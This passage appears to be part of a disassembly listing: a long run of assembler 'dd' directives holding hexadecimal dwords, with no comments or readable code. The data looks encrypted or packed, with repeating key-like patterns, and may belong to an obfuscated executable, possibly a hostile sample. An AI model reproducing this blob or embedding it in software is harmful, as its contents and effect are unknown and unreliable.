0E22E1A16h, 0B38B64F9h, 93BABB48h, 0DE9B58DDh dd 5E847995h, 31F0B0FAh, 8866E7F5h, 6B50588Ch, 0E03C7FE3h dd 54653D94h, 2BFF1109h, 0FBEB02EBh, 6C18E944h, 5B180E15h dd 0A49B4E31h, 0F058ACF4h, 0C3CD0A29h, 4376166Ch, 0BF017F5Eh dd 3E7CA423h, 733DC2B6h, 73E778DDh, 3B27168Fh, 5E8668Ah dd 9F000000h, 0F947B0E7h, 5830Fh, 81660000h, 5839C6DFh dd 1931958Bh, 0C08105E2h, 590Ah, 0AC19D89h, 0F62B05E2h dd 8EE9BE60h, 9E95C52h, 8000000h, 171CB81Bh, 52E3D057h dd 301C8B61h, 81CFB70Fh, 2A26BDF3h, 29BA6625h, 91C38125h dd 662A48C1h, 8129BAB9h, 433975EBh, 10E80Ch, 0C6270000h dd 87C613A3h, 10CB5C84h, 45245BBDh, 0F510A98h, 89h, 895F5F00h dd 13E8301Ch, 7A000000h, 681188B1h, 1411BC05h, 3EB3E122h dd 36808BA3h, 0B966131Dh, 8B5AD564h, 0E21EB18Dh, 3EE8305h dd 21BD8Bh, 804E05E2h, 0FE815AE5h, 0FFFFA7B4h, 0FF83850Fh dd 8A0FFFFFh, 5, 4FE28166h, 9026EB86h, 0EC33B61Bh, 6E558EAFh dd 6C6C6474h, 6C6C642Eh, 46218800h, 0D25D3407h, 0D86A56A3h dd 4, 0 dd 676E900h, 38680000h, 0E905E853h, 0FFFA2DFFh, 0E853C868h dd 2DF5E905h, 8768FFFAh, 0E905E854h, 0FFFA2DEBh, 0E8554868h dd 2DE1E905h, 768FFFAh, 0E905E856h, 0FFFA2DD7h, 0E8571068h dd 2DCDE905h, 0AF29FFFAh, 5A9AEFEBh, 9F1B05Eh, 0AD281985h dd 5D9EE3EFh, 553C4B57h, 810D9348h, 6F6B39A0h, 36DCE01Ah dd 9A008673h, 4D0EABDAh, 84F9F0EBh, 0C267E699h, 0F9F0EB91h dd 14D2EB40h, 686C2FAEh, 0B95A1B2Ch, 0BC8BFC18h, 30C42Bh dd 0AEFE0000h, 1AA3E7EFh, 81E4A257h, 4965099Eh, 56C7C530h dd 0C5E6538Dh, 0B35F5D9Ah, 18691B28h, 0E5B329FCh, 750A74F6h dd 0B175CA01h, 7FB42144h, 7B189553h, 4377D057h, 9A01FAB9h dd 7CF15EADh, 6FF9FAB8h, 37EA1DE9h, 943FE614h, 20Fh, 0CA740FAEh dd 59FE6145h, 1FAC3DDh, 6EC93F74h, 0C5A56BC0h, 52D5F966h dd 0EA0BC1F5h, 3C2318CBh, 0B5B1CBDh, 0BD8A33EAh, 0F90C904Ah dd 0F7C06B7Ch, 66C3466Ah, 0CE0C8128h, 3275F443h, 0A6DBC7C5h dd 0BDABDA31h, 78415C82h, 7DBA00F9h, 346C442Bh, 0AF127D08h dd 56000004h, 8BFEE4A0h, 0FE434F4Bh, 5928B6FAh, 8FF2189Eh dd 2D5A404Eh, 3E847946h, 642AD190h, 0CDD10B7Eh, 317760C1h dd 0FF58A995h, 0F9F0EA7Eh, 6E2CEE97h, 0EFD82369h, 7EDB4E62h dd 1FAE6E0h, 0B2963C0Bh, 0A68A97B7h, 0EE9006A3h, 7CCB0418h dd 45BD2B0Ch, 50FD9F72h, 0B4ACD7Ch, 93FCCDD1h, 0A59B4927h dd 8D7A81FEh, 1CBDAC80h, 0ABBDC286h, 6C2F5229h, 1142E76Bh dd 1B4C31D2h, 0F4CDFDBh, 0D3FF3403h, 0C623696Eh, 5A1B6EECh dd 1F8BEABFh, 0A6000004h, 1B6E7430h, 4E33DFDBh, 0A998068Ah dd 1F62682Eh, 0BDCAD0DEh, 8E14C9D6h, 0F4BA2100h, 5D619BEEh dd 8107F0B1h, 8F285905h, 0F9F0EACEh, 6EDC1E07h, 0EFB32969h dd 0F19E6BB2h, 0EBEBAADDh, 10931EAFh, 0C4E5A951h, 0FABDEB7Bh dd 0A12D1A01h, 1DDE8100h, 66C77497h, 0F9FABDF5h, 0BD76572Ch dd 0C3377690h, 0BDED6EFFh, 4F24F9FAh, 0ADEC6F12h, 0F45D6E2Ch dd 7E30F67h, 1F5EC1BEh, 7336DCDAh, 0C7CB0A86h, 0E4518E14h dd 1445E265h, 0CDF7D2EFh, 47CE5576h, 0EFF263C4h, 0EE2EF7D2h dd 0A9CF09D8h, 0C815A6ACh, 611283F8h, 463F88C5h, 0D572F5D9h dd 0A306C69h, 7EAECBA0h, 0CDF89826h, 360D9B8h, 0EFE90000h dd 9A5A2FABh, 49B1F01Eh, 0EDE85945h, 9D5E23AFh, 957C8B17h dd 0C1CDD308h, 0AF2B7960h, 769C20DAh, 0DAC0C633h, 0D4EEB1Ah dd 0C4F9F0EDh, 696E9D59h, 0B90F40E9h, 69C6FC18h, 31A6E93Ch dd 2089D27Ch, 0FC18A82Fh, 0C28089E6h, 0FFFA2DE6h, 0D8E16AB1h dd 0DB4E62EFh, 0FA814C7Eh, 59C8A701h, 0FD8E416h, 16DC61Bh dd 0FFC0000h, 6448D591h, 0C3D644E5h, 320901FAh, 0BA1469CEh dd 0B3D0F4B7h, 934FE89Fh, 0BAFAE5CEh, 0DC41BECDh, 42D079E8h dd 0CE00FF2Bh, 8F4C4C8Fh, 4B1D401h, 0D50267A3h, 0A4E79AD7h dd 317D7F33h, 59FE61EAh, 0FAFE2A18h, 990572C9h, 0C692FA8h dd 35E461Ah, 9F69C85Dh, 26000002h, 9BEEF4B0h, 0CEB35F5Bh dd 2918860Ah, 9FE2E8AEh, 3D4A505Eh, 0E944956h, 743AA180h dd 0DDE11B6Eh, 1877031h, 0FA8D985h, 0F9F0EC4Eh, 0AE5C9E87h dd 0CAA55939h, 8275D6A0h, 3F74E104h, 7A36A3AEh, 6FEC3F7Dh dd 0C19A0F32h, 489A6AAh, 2D9AA13Ah, 0BC1D0C20h, 1FA39A6h dd 0A0E61352h, 2EB48307h, 761B5B3Ah, 0C8A2F52h, 470419CFh dd 0FD9FB8E8h, 0B813FB4h, 0FC0F8D48h, 88956E7Fh, 0CE04A5A4h dd 619B5C30h, 1906F30Ah, 30B33235h, 91ACA697h, 7430A45Ch dd 0C1BEA411h, 26039FF8h, 0DDAAA177h, 0A8EEEBAAh, 0BB01F6B9h dd 34D2EB60h, 0C90C8475h, 2F6996C3h, 2C63D649h, 1E0F659h dd 6F690000h, 1ADAAF2Bh, 0C931709Eh, 6D68D9C5h, 1DDEA32Fh dd 15FC0B97h, 414D5388h, 2FABF9E0h, 0F61CA05Ah, 5A4046B3h dd 8DCE6B9Ah, 44F9F0EFh, 696E1DD9h, 7C7D3C23h, 0B9E253F4h dd 4433FC18h, 6E7FFC0Fh, 4165EAC7h, 565C9FDEh, 0BDAD0A75h dd 5401FABDh, 18F5F31Fh, 3B3C9D7Bh, 0EAFC18B9h, 0BE21209Dh dd 3DB9F7FFh, 7CA92279h, 0E8C873DBh, 0F8C1B16Eh, 13BF09Fh dd 3B2E0502h, 62E57F78h, 0A60A8DC9h, 0CA8DBCE9h, 4B4F870Bh dd 68D9CD1Eh, 53D2296Fh, 28ACEA10h, 67DC196Ch, 0C6E06D46h dd 2F528F15h, 0E970958Ah, 0C0473C07h, 2F525881h, 0D2EE4DBAh dd 15B24EAFh, 0F7C85A24h, 704986FDh, 0A05417AAh, 6B37A5E4h dd 70EAEF52h, 5ADCFD3Bh, 9925D7EAh, 3170F72Ch, 36A7C6CCh dd 2C318E95h, 95460938h, 0B6D5D105h, 0B0FFC805h, 58B4E31h dd 249F5BA4h, 0EAAD0A2Ah, 125BA2EEh, 99E65DC9h, 0F891C5C9h dd 0D7ECB7D2h, 7E000000h, 0D3963C78h, 67B6723h, 61C0CED2h dd 0D7AA3076h, 0C5729826h, 565C811Eh, 0BC02F948h, 0E5A95316h dd 494F88F9h, 0C760814Dh, 0F9F0EE96h, 1804C64Fh, 51D0577Bh dd 85A6EAEEh, 0FC18B9D4h, 6A95360Dh, 10BBACDh, 81E45302h dd 70D9995Eh, 0F9F0EBFFh, 81265916h, 0F9F0EBD0h, 0D1FD2A01h dd 0DA216790h, 0A0BECC7Dh, 0B1F7FEF8h, 0CD8E2B6Ah, 4FB003Ch dd 64FCF82Fh, 4152E919h, 0E9DCA77h, 3E8272F4h, 8764E08h dd 9A9D15CFh, 0BE200B6h, 0B0CA76Bh, 1F4751Dh, 0F5114EBBh dd 0D572F574h, 0FB001564h, 0F465C6BDh, 2DFB0015h, 153A3B9Ch dd 9CEBFB00h, 1EDB8627h, 13C20D98h, 0AEA87695h, 296F68D6h dd 9D1BDCADh, 7492070Eh, 0D5ACE744h, 3FB4667h, 3000000h dd 686E9DA7h, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 68F27883h dd 110Ah, 68242C89h, 17F9h, 57243489h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 6857242Ch, 7F343F14h, 81DFF75Fh, 0E36EA5EFh dd 8BFE897Ah, 0C483243Ch, 602D6804h, 24890000h, 24048124h dd 4, 868535Dh, 5B000000h, 3389EB01h, 2434FF5Bh, 4C4815Dh dd 0FF000000h, 835E2434h, 9CE904C4h, 8FFFFA27h, 8859DC08h dd 0F140CD09h, 0E8580CB8h, 0FFC50305h, 2117B1E0h, 0EA47EB77h dd 459A806Ah, 0FDEF5605h, 0A3F2893Dh, 42B98D4Ah, 7E830h dd 2D660000h, 57DC569h, 58F78B7Fh, 81D2B70Fh, 68E6C0h dd 6800h, 8B660000h, 0FBE59F3h, 0FF7F1858h, 0B70F0134h dd 8B665BFAh, 38EB81D3h, 81611E69h, 21F011EBh, 3FEBBF6Ch dd 0C3813EBCh, 266B34F8h, 0AB36DF81h, 0F953793Ch, 0F08048Fh dd 689h, 8FE68100h, 810D5094h, 21FE87E9h, 3840F73h, 52000000h dd 0C1815AFCh, 7321FE83h, 5B9BBA66h, 97CCF981h, 850FFFFFh dd 1Dh, 0F8F6B060h, 2EE961h, 0B41F0000h, 0B0C73346h, 9AEA8A67h dd 2DB6B379h, 5DA55DF9h, 0C68166B9h, 7CE97515h, 0FFFFFFh dd 0A23C21BEh, 13059908h, 26600740h, 0EA511304h, 8EBh dd 16530000h, 0EFE9139Fh, 68000004h, 5E85A60h, 0FA269EE9h dd 5AD868FFh, 94E905E8h, 68FFFA26h, 5E85C1Fh, 0FA268AE9h dd 0B6F2E4FFh, 199D5928h, 404C8CFDh, 0AAF0E75Ah, 12A05D2Ch dd 7987FF4h, 7FC2C8D6h, 0D9A8367Ch, 0E739F23h, 1FC7C3C9h dd 0E01041E6h, 5CC1F9F0h, 276D6E9Eh, 5E5C9DC4h, 0E971682Bh dd 18B90F40h, 3C69C6FCh, 57FCFFABh, 3B6BCC73h, 6A01FADFh dd 6FA4E217h, 9F3E331Ch, 6C2DF9FAh, 9BE2B02Dh, 0F5C18952h dd 0E6395FB2h, 4C8FCE3Fh, 0B9386546h, 2000002h, 0A3E7EFAEh dd 97307C7Ch dd 9885B1C9h, 7332B5B4h, 77E40783h, 0E7C0C430h, 0FAC3189Eh dd 84C4B301h, 8917C285h, 14D3D730h, 0FA67FC9Ch, 0ACF653D6h dd 0E702BDAEh, 9F847D88h, 0B13B4ABh, 9A08D364h, 0FEFBBAADh dd 1C975364h, 88C5DC42h, 20BA3F02h, 0A70B9BECh, 0EE0B40A9h dd 0FB3968EBh, 40C8ABFEh, 0E000003h, 63C6CCC8h, 0D6AB3773h dd 31709E22h, 67DAC0C6h, 15A22876h, 0E6AC516Eh, 4C5289F8h dd 0B5F9E346h, 199F5829h, 17B0F1FDh, 0F9F0E326h, 1874B6FFh dd 51D0577Bh, 19A2E6EEh, 11264B0h, 8DBC8B02h, 78311CAh dd 90EBB922h, 0F0E3BDB7h, 4EDE4BF9h, 901EDF90h, 8357C075h dd 84CB1CCEh, 12985F53h, 2E2F888Bh, 0E7F9F0ACh, 99E65388h dd 45CCC12h, 0C8A58C99h, 0B6000002h, 0EB5E4440h, 5E23AFEBh dd 0B988169Ah, 0EF52783Eh, 8D3AA0EEh, 9E24D9E6h, 0C4CA3170h dd 2D716BDEh, 9117C0A1h, 9F384975h, 0F9F0E3DEh, 18CC0E77h dd 0E1528B7Bh, 0BB195AFFh, 73C8FC18h, 55B1D6DAh, 54C06918h dd 0FB020190h, 6310798Ch, 51F9F065h, 5E81E4AAh, 89881399h dd 0F0652F20h, 3489E6F9h, 0AAFE4232h, 0FCD1582Ch, 533FECEBh dd 16Ch, 23696E97h, 906099D8h, 18B90637h, 2B60DFFCh, 49A7ACAFh dd 18B96FE0h, 9CC9A6FCh, 0D86E4CEDh, 16A101FAh, 0F5E1D466h dd 0FA6DDA2Bh, 65B11A6Dh, 0BC0DF796h, 85BBC891h, 5389F9FAh dd 44B53C4Fh, 0DEDA0346h, 0C3089319h, 0A3A57796h, 0DD1B6DD3h dd 4B6BA6E9h, 20C03FE6h, 0FA000000h, 0D0577B18h, 0FAD1C777h dd 0DA211E01h, 0FAA1C07Dh, 0A195D3F9h, 0E62BB36Eh, 0A3183Fh dd 0AE220000h, 14471339h, 0F19A270Dh, 0F04E22CDh, 0B3697CDh dd 32BDC8CEh, 0E1A0FBC9h, 0A73DE868h, 3574FBBBh, 36A7C6C4h dd 6F2DAA95h, 6624D51Ch, 9634EF78h, 5582FC18h, 83804B57h dd 4F9B8AFh, 45E22DBEh, 1FD45B7h, 2F6E116Eh, 87FAE0AEh dd 62234856h, 0D5046004h, 181D1B0h, 87710000h, 32A28703h dd 0E1196876h, 857031DDh, 35A69B07h, 2DD4636Fh, 0B9256B90h dd 78311C8h, 0EEF4B822h, 0B2585E9Bh, 65D673B2h, 0BCF9F0E5h dd 6D6E35F1h, 4706BB27h, 7FFC0F93h, 555E0ADEh, 60794BAAh dd 14B2F8E1h, 23696E2Eh, 506099D8h, 2DA9E6AAh, 1E01252Ah dd 0FB0546B9h, 51D0AF01h, 3BA7EDEEh, 331E1186h, 40C3CF31h dd 0BF61B9D2h, 96376C57h, 0FA33304Dh, 0D7D502F9h, 0F58576CBh dd 0FA33E354h, 84532F9h, 0E5178019h, 22666D18h, 0EC93F299h dd 0AB000000h, 0E58B7B18h, 5C755A22h, 7C1A5BFCh, 7CCBFC18h dd 0F257CA07h, 201D79Eh, 0B44BD2Ah, 5F2AD4DFh, 3C23188Eh dd 32034DABh, 78EF8F60h, 0F12B9EDFh, 0EFF8B7F9h, 2DC1D44h dd 2FABE03Ah, 0BAD31863h, 0E552B199h, 60C948F9h, 0F9F139EFh dd 0F1704926h, 0DC9F8208h, 40F15618h, 91F9F139h, 315C6DDAh dd 0E96ACF4Eh, 0E3F9F139h, 0D1AEB4FAh, 394809AEh, 0A299F9F1h dd 8284B019h, 47B01779h, 702D2E8Bh, 8FE4E078h, 5388CB52h dd 95D53E4Dh, 612B5FA1h, 0EAB02995h, 5E5C9DECh, 815184CFh dd 78703738h, 2491EEE0h, 575D9EC1h, 414D8D34h, 864EB13Ah dd 501AFB02h, 47CA1C64h, 0B6D5D304h, 0CABAA405h, 0BCFAFDBCh dd 0FFB3242Bh, 2C57B6FCh, 7870CA8Bh, 0F72C1BE0h, 9B1287BAh dd 82CDB0FCh, 0EC5D4992h, 0F75EADEBh, 3, 6E9DA70Fh, 96D92C68h dd 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h dd 0C1009B21h, 0CF769519h, 0F2788307h, 81E28952h, 4C2h dd 4EA8300h, 2474FF52h, 48F5A04h, 89535C24h, 4C381E3h dd 83000000h, 1C8704EBh, 1C895C24h, 1F0C6824h, 2C890000h dd 21685024h, 58333239h, 77425205h, 296E353Dh, 0C3893017h dd 6DC38158h, 68C52A07h, 1D6Ch, 83242489h, 5D042404h, 8904EC83h dd 3481241Ch, 4D40CC24h, 8458F35h, 0CC087581h, 8B354D40h dd 8952242Ch, 4C281E2h, 83000000h, 148704C2h, 34FF5C24h dd 0C4815B24h, 4, 0FA21BEE9h, 0B1DF8BFFh, 0C5B8FAFBh, 305E85Dh dd 44E0FFC5h, 0C5215A2Ah, 2A535740h, 0E56DD842h, 0C354692h dd 755D2AC4h, 833C8DA8h, 0BF1399FBh, 0B549805Dh, 9D09EEA3h dd 0E12028A5h, 94469C11h, 0C50D3A8h, 7A35AF79h, 476505A7h dd 0E34C9320h, 7B6EA54Dh, 6E083A79h, 8D2FC2A4h, 0E85F308Dh dd 7E905h, 2D8E0000h, 0A1A217C1h, 0E98D894Ah, 6A05E20Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0C4E6C356h, 0BD090FA4h, 5E20AD5h, 76185C7h dd 6A5805E2h, 0F5520000h, 5585C75Bh, 5E21Bh, 0E8000000h dd 8, 5A382B7Eh, 621C7517h, 5ED7DF80h, 1CD1B5FFh, 858B05E2h dd 5E21AA1h, 0B1595FFh, 0BD3305E2h, 5E20A5Dh, 95FF006Ah dd 5E20AB9h, 4CEBC08Bh, 0D9941C47h, 94768102h, 1838897Bh dd 0E0C92B55h, 1F9395Bh, 0F3C99C71h, 8E018C7Fh, 987C3E82h dd 6541EABBh, 2B5A5460h, 379AB084h, 3BA480A9h, 594BA251h dd 3EBAEC1Dh, 0B6EE40E4h, 419D5532h, 23BCEFD6h, 59FDFF53h dd 35DFEF0Fh, 0B13EE853h, 8E32565Dh, 8E0666ACh, 0B1325655h dd 0B13256ABh, 0E5A04AD5h, 0E4F490EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh, 0BB3581AEh dd 0A3325257h, 0BD325DABh, 42325AD5h, 0F23256EBh, 0F2325677h dd 0B132EEB8h, 0E362565Dh, 0E96867A1h, 0E3626758h, 0E96867A4h dd 803D0E8Fh, 0A0DBCA8Ah, 14325675h, 90BA7DC0h, 0EC06511Bh dd 0E892F57Ch, 0A4FEA949h, 9E2D7CDh, 0B134BF9Eh, 46C456EAh dd 22B09B11h, 0BE600627h, 0D06A0C6Ch, 85BB0EF4h, 0E9683773h dd 0D0520438h, 0E36267DAh, 0E96867E5h, 0E9680E2Fh, 78B3302Ch dd 0A5DBA5A3h, 1D3256AEh, 29495C22h, 0F565805Ah, 1C134F8h dd 6D7DF8C3h, 2C59EC90h, 0D0EADDDCh, 0B13256CDh, 12E00B9Ah dd 4E2C0FF7h, 0AA184367h, 38533748h, 583672AEh, 0B1325679h dd 22B09BDEh, 5EFC9F8Dh, 0BAE8D352h, 246A0C0Fh, 0B5161222h dd 0B1325A3Ch, 0E3EFE2EAh, 2FEB7656h, 1BA71AC5h, 0EB530EC6h dd 216AC0F6h, 0B0DA5D57h, 8CA6B10Dh, 8832D5E7h, 441E8994h dd 0B51612FCh, 0B1325053h, 75E5005Dh, 0E941B403h, 30F9CC12h dd 0CAFF3062h, 0B13EBFB4h, 4C6656EAh, 48F21587h, 4DEC984h dd 0BEAFED17h, 0EB539D19h, 0B1320E0Fh, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh, 0EB325675h dd 0D372BC3Bh, 34BF53B5h, 0B4D5E3CBh, 0EEA4D4DEh, 33BF5343h dd 0B4DABCDAh, 0EEA8D463h, 0FFDA539Dh, 593256B3h, 0B1325626h dd 0EEB4D469h, 0B13253BFh, 776056ABh, 53381F50h, 0E35A00EFh dd 4EAEFECDh, 5324F70Fh, 0D0B7DB58h, 4E37B3D4h, 0D0B7DF87h dd 0DB37B48Dh, 0A1323ED1h, 0F15A56EAh, 0DB325578h, 0EBE2A9BAh dd 82469656h, 0EEB4D427h, 33BB53BFh, 0B4DA0921h, 0B23F166Ch dd 82CADDEAh, 0E398A5B5h, 0B15A52D0h, 0D932564Dh, 0B13252AEh dd 23CD563Dh, 0B4D070CAh, 6BB0DF8Fh, 0D037BEB5h, 0EEB4D3FEh dd 0D1F15352h, 0B07BD49Ah, 0B132534Ch, 33F55617h, 0B4D05F0Eh dd 0B13246D5h, 3A52958Bh, 596DD0CFh, 0B10DD5BFh, 0CEB17529h dd 0BA4654BEh, 0B52229D4h, 76B158DFh, 76D8BDC1h, 0B13346ADh dd 43D95675h, 0B222117Dh, 5A32565Dh, 0E4F13747h, 5952BADCh dd 0B13256ABh, 84D8D78Fh, 3A37BE89h, 596D88C7h, 0B977DDBFh dd 33B150D4h, 0B4DA0970h, 73FB3753h, 595256AFh, 0B13256D5h dd 0E8D8D7B0h, 3A37BE16h, 596D8C08h, 6F806D58h, 0C537BEF1h dd 3A0CDD6Ch, 0FE845974h, 0B075A0D4h, 0B236236Ah, 9A30BDACh dd 3A711563h, 53393FD8h, 0A0BFDDABh, 8A37B456h, 8A3B2473h dd 3237210Ch, 78D9522Ch, 0B946994Eh, 0B023EB33h, 6D953BFh dd 595295CFh, 0B1325657h, 0D8D7F1h, 3A37BEB6h, 596D8C50h dd 0B032EF70h, 710156BAh, 33B9FDAEh, 0B4DA0974h, 0EEECD4DEh dd 72535343h, 0B132BEB5h, 306856EAh, 59518D9Fh, 0F8B790BFh dd 0E737B457h, 0AE5F6FC6h, 1087A983h, 3C37B4BDh, 54483750h dd 0E3E2A9EFh, 31323E25h, 0B15856BAh, 0EEB4E4A2h, 61CD5346h dd 0B15A0C0Fh, 0DB32562Bh, 6B80A9D5h, 4E37BEB5h, 0E4F137A5h dd 5952BA31h, 0B132565Dh, 98D8D7F4h, 3A37BE33h, 29DA5EDEh dd 0E43256D7h, 0EEA4C415h, 8A6F539Dh, 5F475ACFh, 0B130D0B5h dd 73FB37AEh, 3A67565Fh, 4DF6D547h, 59610183h, 0B13256EAh dd 0ECD8D72Fh, 3A37BEDEh, 0CCB95E28h, 596401BEh, 0B1325660h dd 904696A0h, 4E67AE5Eh, 596DC078h, 0C4090B70h, 0D72022B6h dd 56B248D6h, 312CDC5Eh, 2CDAA6B4h, 5A3256ADh, 4D4FDF01h dd 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh, 75B1BA25h dd 0E06401AFh, 497791F8h, 0B13256D5h, 0EEF4D42Dh, 0B133539Dh dd 0C4B956BAh, 0AFB93055h, 0EEB4EC25h, 0EEB953BFh, 0C5E95DA3h dd 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh, 5BD9427Dh, 312CDD3Bh dd 353DBE55h, 0B1325699h, 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh dd 0B18ED27Ah, 4AB256BAh, 1DB659BFh, 313256AEh, 353DB5ACh dd 0B1325631h, 0D6C9D7B3h, 29B65909h, 31325675h, 3054A65Dh dd 0BEB259A6h, 0B132C72Ah, 41D1D657h, 0BE42AD2Bh, 0B132D351h dd 0AFB930EAh, 31CAB5F5h, 0F346EE41h, 0C53768DDh, 9C0CD693h dd 8FB26E23h, 4E0122C3h, 596D9057h, 0AFB930EFh, 0D7CAB1F5h dd 59B3AD3Bh, 3A547629h, 41D5D6B0h, 30C9D731h, 0D121226Bh dd 27A0A980h, 0EC37BEB5h, 0D0CE13FCh, 0B0CE2B39h, 0BB93528h dd 0B4D057E7h, 77B0DD07h, 8837BEF4h, 0C36A66E9h, 1488DDBAh dd 0E137B47Ch, 0EEF4D431h, 8D0B53B5h, 8C4D0E9Eh, 0F4F546BCh dd 0B1325453h, 7635BDD5h, 0B133AEAFh, 0BB95675h, 0B4DA093Ch dd 6A3949D6h, 6F0949DAh, 0ECB95922h, 494FD5A7h, 0B23122D5h dd 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh dd 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh dd 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh dd 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh dd 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h, 0BF47C6D4h dd 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h, 0B4DA09B5h dd 23CD00FBh, 0B4DA094Fh, 0BB4696E1h, 3BF9EFEh, 0B4DA0958h dd 3A6446B6h, 23CD0360h, 0B4DA09C1h, 46FC7DF6h, 0CCB1080Ch dd 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh dd 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h dd 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh dd 0B132BEB5h, 306856EAh, 5954ED9Fh, 0B977DDBFh, 0EEBCD4D4h dd 78535346h, 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh dd 0D7EEBCF4h, 0F4F55352h, 0B13256A5h, 4D7791AEh, 0B1325657h dd 3A549698h, 77B091CBh, 0B037BEB5h, 0D7325675h, 21A2AD3Bh dd 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h dd 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh dd 0B1D7D258h, 333156ABh, 0B4D048A0h, 53C9D6AAh, 0B1FCD27Ah dd 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h, 0B188D2A4h dd 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h dd 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h dd 77B0A935h, 0D737BEE5h, 56B248D6h, 4AB33056h, 9546BED6h dd 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h, 596DC028h dd 0F4BB0B58h, 0CCB13752h, 343D57ABh, 0B1325783h, 0B07BEC5Eh dd 3A625308h, 596D90F7h, 810E6FBFh, 0A0B05905h, 3A3256AFh dd 533BF3EDh, 33B906AEh, 0B4DA0913h, 0E9026AD3h, 0B1C8D97Ah dd 0BB956BAh, 0B4DA09D7h, 0EEB8D42Dh, 382653BFh, 0A175DF9Ch dd 77B0DD85h, 3A37BEB5h, 386A6669h, 64DB5EE5h, 7632565Dh dd 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 596DDC50h dd 3BB0D570h, 0A537BEE5h, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h dd 0B4DA096Dh, 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h dd 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh dd 323256EAh, 0BAD9539Dh, 77A8DDE9h, 3A37BE02h, 186965AAh dd 31325657h, 773142DEh, 0B2379656h, 596D9068h, 0F6BB1E70h dd 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h, 596D9029h dd 0F6BB1ED0h, 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh dd 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 0CCA8DCDCh, 3137B150h dd 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h, 9A325657h dd 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh dd 5952AA99h, 0B13256AEh, 5CD8D70Dh, 3A37BEC3h, 596DD06Fh dd 32FB65EFh, 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h dd 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah dd 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h, 0B60BAAEEh dd 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h dd 93CBDACh, 4ECDA9A8h, 0B1325312h, 5A99A5D5h, 0A14DD529h dd 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh dd 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh dd 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh dd 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B4D0742Ch, 0B222292Dh dd 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h dd 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh, 0B1DA3657h dd 0EB3256D5h, 